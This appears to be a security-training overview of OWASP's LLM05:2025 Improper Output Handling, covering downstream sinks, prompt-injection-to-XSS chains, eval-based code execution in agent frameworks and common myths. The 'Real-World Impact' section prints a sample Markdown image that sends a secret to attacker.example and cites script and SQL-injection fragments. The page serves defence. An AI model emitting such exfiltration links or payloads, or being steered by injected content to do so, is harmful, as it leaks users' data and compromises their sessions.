Back

LLM05:2025 Improper Output Handling - Overview

What is Improper Output Handling?

Improper Output Handling (LLM05 in the 2025 OWASP Top 10 for Large Language Model Applications) is the insufficient validation, sanitization, and encoding of the text a model produces before that text is handed to another component. The vulnerability is not in the model and not in what the model “meant”—it is in the code that consumes the model’s output and treats it as if it were trusted, well-formed data.

The mental model that makes this category click is a single sentence: treat every token an LLM emits as untrusted user input. An attacker who can influence the prompt—directly, or indirectly through a document, web page, email, or tool result the model reads—can influence the output. If that output then flows into a browser, a shell, a SQL query, an HTTP client, a file path, or an eval(), the attacker has reached across the model and into your downstream system. In OWASP’s framing, this is functionally equivalent to giving end users indirect access to whatever functionality sits behind the model.

Naming note: This entry was called LLM02: Insecure Output Handling in the 2023 list and was renumbered and renamed to LLM05: Improper Output Handling in the 2025 list. The threat is the same; the guidance below reflects the 2025 edition.

Input Handling vs. Output Handling

It is easy to confuse this with prompt injection (LLM01). They are two ends of the same pipe:

AspectPrompt Injection (LLM01)Improper Output Handling (LLM05)
DirectionUntrusted data goes into the modelModel output comes out and flows downstream
Question“Can I make the model do something it shouldn’t?”“What happens when the model’s answer reaches my other systems?”
Where the bug livesPrompt construction & trust boundariesThe consumer of the output (renderer, shell, DB, HTTP client)
Typical fixSeparate instructions from data, constrain contextContext-aware encoding, parameterization, sandboxing, schema validation

The two frequently chain: an indirect prompt injection is the delivery mechanism, and improper output handling is the exploitation mechanism. An attacker plants a payload in a web page; the model summarizes that page; the model’s “summary” contains a <script> tag; your front end renders it as HTML. The injection got the payload into the answer; the missing output encoding fired it.

Why Does This Matter?

Business Impact

Technical Impact

Technical Context

Every improper-output-handling bug has the same shape. Three conditions must all be true:

1. INFLUENCE   The attacker can shape the model's output
               (direct prompt, or indirect via a document/page/email/tool result).

2. FLOW        That output is passed to a downstream "sink" without
               context-appropriate validation, encoding, or parameterization.

3. SINK        The sink interprets structure in the data:
               a browser parses HTML/JS, a DB parses SQL, a shell parses
               metacharacters, an HTTP client dereferences a URL,
               eval() parses code.

Remove any one condition and the bug is defused. You usually cannot fully remove condition 1 (models are influenceable by design) so defenders concentrate on condition 2—the handoff—and on constraining condition 3 (least-privilege, sandboxed sinks).

The Downstream Sinks That Matter

SinkWhat the model output becomesVulnerability if unhandled
Browser DOM / templateHTML, Markdown, JavaScriptStored/reflected XSS, HTML injection
SQL / NoSQL driverPart of a query stringSQL / NoSQL injection
OS shell / subprocessA command or argumentCommand injection, RCE
eval / exec / deserializerExecutable code or objectsDirect RCE
HTTP clientA URL to fetchSSRF, data exfiltration
Filesystem APIA path or filenamePath traversal, overwrite
Agent / tool routerAn action, API call, or argumentsUnauthorized actions, privilege escalation
Email / messagingBody or recipient of a messagePhishing, spam, header injection

Conditions That Amplify the Risk

OWASP calls out several factors that turn a latent flaw into a serious one. Each is worth checking against your own architecture:

Real-World Impact

The incidents below are described as classes of publicly documented issues, not as citations of specific vendors or CVE numbers. They are the patterns you will actually meet in the wild.

Class 1: Markdown Image / Link Data Exfiltration

Pattern: A chat assistant renders Markdown returned by the model. An attacker uses (usually indirect) prompt injection to make the model emit an image such as ![x](https://attacker.example/log?d=SECRET). The browser automatically fetches the image URL, and any data the model was tricked into placing in the query string is delivered to the attacker—zero clicks required.

Why it recurs: Markdown rendering feels like “just formatting,” so teams enable it without a URL allowlist or a Content Security Policy. Multiple mainstream AI chat products have shipped and later patched exactly this. The durable fix is to restrict which URL schemes and hosts may be auto-loaded and to apply a strict CSP.

Class 2: Prompt-Injection-to-XSS in AI Answers

Pattern: A RAG assistant or “summarize this page” feature ingests attacker-controlled content, the model reproduces embedded HTML/JavaScript, and the front end renders the answer with innerHTML or an unsanitized Markdown-to-HTML step. The result is stored or reflected XSS that runs in the victim’s authenticated session.

Why it recurs: The output “came from our own AI,” so it is implicitly trusted—yet its content is fully attacker-influenced. The fix is to encode for the HTML context and sanitize Markdown with a strict allowlist.

Class 3: Code-Execution Chains in LLM Orchestration Frameworks

Pattern: Early versions of several LLM “chain” and agent frameworks shipped features that took a model-produced expression or snippet and ran it through Python’s eval/exec (for example, math or “program-aided” reasoning chains, or a Python REPL tool). Because the expression is model-controlled, a crafted prompt produced arbitrary code execution on the host.

Why it recurs: “Let the model write a little code and run it” is a tempting shortcut. Multiple such features received security advisories and were subsequently sandboxed, gated behind explicit opt-in, or removed. The lesson: never evaluate model output as code outside a strong sandbox.

Class 4: Agent Tool Abuse via Unconstrained Output

Pattern: An autonomous agent parses model output to decide which tool to call and with what arguments. When the output format is free-form and the tool set is powerful (shell, file write, HTTP, database), a manipulated answer causes the agent to perform actions the user never authorized—deleting data, calling internal APIs, or exfiltrating files.

Why it recurs: Agent frameworks optimize for capability first. The fix is strict schema-constrained tool arguments, an allowlist of permitted actions, human-in-the-loop for high-impact operations, and least-privilege credentials for every tool.

Prevalence and Detectability

Improper Output Handling is one of the most common findings in LLM application assessments, for a structural reason: teams port classic input-validation discipline to the prompt but forget that the model’s reply is a second untrusted boundary. Anywhere a pre-AI application would have encoded, parameterized, or sandboxed user input, an AI application must do the same to model output—and often does not.

Rather than cite precise counts, the defensible picture is:

Treat any single statistic you read about “percentage of LLM apps affected” as illustrative. The durable takeaway is that this is common, findable with existing appsec tooling, and cheap to exploit once an attacker can influence output.

Common Misunderstandings

Myth 1: “The output came from our own model, so it’s trusted.”

Reality: The model’s output is a function of its input, and its input includes attacker-influenceable content. Provenance (“our AI said it”) is not the same as integrity. Trust the boundary, not the brand.

Myth 2: “We validate the user’s prompt, so the output is safe.”

Reality: Input validation reduces some prompt injection but cannot guarantee safe output, especially with indirect injection through retrieved documents. Output handling is a separate control that must exist regardless of how good your input filtering is.

Myth 3: “A guardrail model / moderation filter will catch dangerous output.”

Reality: Guardrails are probabilistic and target harmful meaning, not syntax. A perfectly benign-looking sentence can still contain </script>, a SQL quote, or a shell metacharacter. Deterministic encoding/parameterization at the sink is what actually stops the exploit.

Myth 4: “We render Markdown, not HTML, so XSS isn’t possible.”

Reality: Most Markdown renderers pass through raw HTML and support javascript:-style links and auto-loading images unless explicitly configured not to. Markdown is an XSS and exfiltration surface until you sanitize it.

Myth 5: “Structured output (JSON mode) makes handling safe.”

Reality: JSON mode constrains shape, not values. A field can still contain <script> or '; DROP TABLE. You still must validate values against a strict schema and encode them for their eventual sink.

Myth 6: “It’s just a chatbot; there’s no dangerous sink.”

Reality: The browser is a dangerous sink. Rendering an answer is enough for XSS and Markdown exfiltration. And chatbots grow tools, plugins, and agent actions over time—today’s harmless display becomes tomorrow’s command executor.

Self-Assessment

Ask these questions about every place your application consumes model output:

Several “no” or “not sure” answers mean you likely have an exploitable output-handling gap today.

Next Steps